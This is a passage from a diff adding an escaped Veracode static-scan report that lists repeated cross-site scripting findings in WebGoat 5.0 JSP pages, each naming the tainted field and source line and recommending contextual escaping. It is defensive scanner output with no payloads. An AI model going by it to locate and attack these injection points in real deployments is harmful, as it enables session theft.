+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
